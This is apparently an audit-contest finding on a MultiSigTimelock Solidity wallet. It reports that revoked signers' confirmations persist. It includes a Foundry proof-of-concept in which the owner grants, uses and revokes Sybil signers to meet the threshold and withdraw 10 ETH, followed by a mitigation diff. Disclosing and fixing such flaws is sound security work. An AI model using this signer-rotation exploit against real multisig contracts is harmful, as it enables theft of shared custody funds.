MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Multisig authentication bypass: revoked signers’ confirmations persist, allowing owner to execute transactions unilaterally

Author Revealed upon completion

Root + Impact

Description

Normal behavior: A transaction should only be executable after ≥ REQUIRED_CONFIRMATIONS from currently-authorized signers. If a signer is revoked, any pending transaction should no longer be able to rely on that signer’s prior approval.

Issue:
The contract tracks approvals using a cumulative integer counter (Transaction.confirmations). When a signer is revoked via revokeSigningRole, the contract removes their role for future actions but does not invalidate their existing confirmations on pending transactions.


_confirmTransaction increments txn.confirmations and stores s_signatures[txnId][signer] = true.
​
revokeSigningRole revokes SIGNING_ROLE but does not decrement txn.confirmations and does not remove any stored signature from pending transactions.
​
executeTransaction relies on the stored counter, not on current signer validity.

Risk

Likelihood:

  • Occurs whenever the Owner can call grantSigningRole / revokeSigningRole (standard in this design).

  • Fully deterministic, no special chain conditions required.

  • Cheap to execute; scales trivially to reach the confirmation threshold.


Impact:

  • Total loss of funds (Owner can execute arbitrary ETH transfers after inflating confirmations).

Breaks multisig security model (shared custody guarantee becomes false).

  • A malicious (or compromised) Owner can unilaterally execute transactions by “rotating” temporary Sybil signers:

    • grant signer role → confirm → revoke → repeat
      This inflates txn.confirmations until it reaches the threshold, turning “3-of-5” into effectively “1-of-1 (Owner)”.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "../src/MultiSigTimelock.sol";
​
contract SybilAttackTest is Test {
MultiSigTimelock public target;
​
address public owner = address(0x1337);
address public sybil1 = address(0xB0B);
address public sybil2 = address(0xCAFE);
​
function setUp() public {
vm.prank(owner);
target = new MultiSigTimelock();
vm.deal(address(target), 50 ether);
}
​
function test_BypassMultisig_ByRotatingSigners() public {
uint256 amountToSteal = 10 ether;
​
// 1) Owner proposes a transaction to send ETH to themselves
vm.startPrank(owner);
uint256 txnId = target.proposeTransaction(owner, amountToSteal, "");
​
// 2) Owner confirms (assumed signer #0 by design)
target.confirmTransaction(txnId);
vm.stopPrank();
​
// 3) Add sybil1 -> confirm -> revoke (confirmation persists)
vm.prank(owner);
target.grantSigningRole(sybil1);
​
vm.prank(sybil1);
target.confirmTransaction(txnId);
​
vm.prank(owner);
target.revokeSigningRole(sybil1);
​
// 4) Add sybil2 -> confirm -> revoke (confirmation persists)
vm.prank(owner);
target.grantSigningRole(sybil2);
​
vm.prank(sybil2);
target.confirmTransaction(txnId);
​
vm.prank(owner);
target.revokeSigningRole(sybil2);
​
// 5) Wait timelock (10 ETH -> 2 days in this PoC)
uint256 delay = target.getTwoDaysTimeDelay();
vm.warp(block.timestamp + delay + 1);
​
// 6) Execute as owner: succeeds due to inflated confirmations
uint256 pre = owner.balance;
vm.prank(owner);
target.executeTransaction(txnId);
uint256 post = owner.balance;
​
assertEq(post - pre, amountToSteal);
}
}
​

Recommended Mitigation

Fix approach (recommended): validate confirmations at execution time
​
Do not rely on txn.confirmations for authorization. Recompute valid confirmations from the current signer
​
​
diff --git a/src/MultiSigTimelock.sol b/src/MultiSigTimelock.sol
--- a/src/MultiSigTimelock.sol
+++ b/src/MultiSigTimelock.sol
@@
function _executeTransaction(uint256 txnId) internal nonReentrant {
Transaction storage txn = s_transactions[txnId];
​
- if (txn.confirmations < REQUIRED_CONFIRMATIONS) {
- revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
- }
+ uint256 validConfirmations = 0;
+ for (uint256 i = 0; i < s_signerCount; i++) {
+ address signer = s_signers[i];
+ if (s_signatures[txnId][signer]) {
+ validConfirmations++;
+ }
+ }
+ if (validConfirmations < REQUIRED_CONFIRMATIONS) {
+ revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, validConfirmations);
+ }
​
txn.executed = true;
(bool success,) = txn.to.call{value: txn.value}(txn.data);
if (!success) revert MultiSigTimelock__ExecutionFailed();
}
​
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!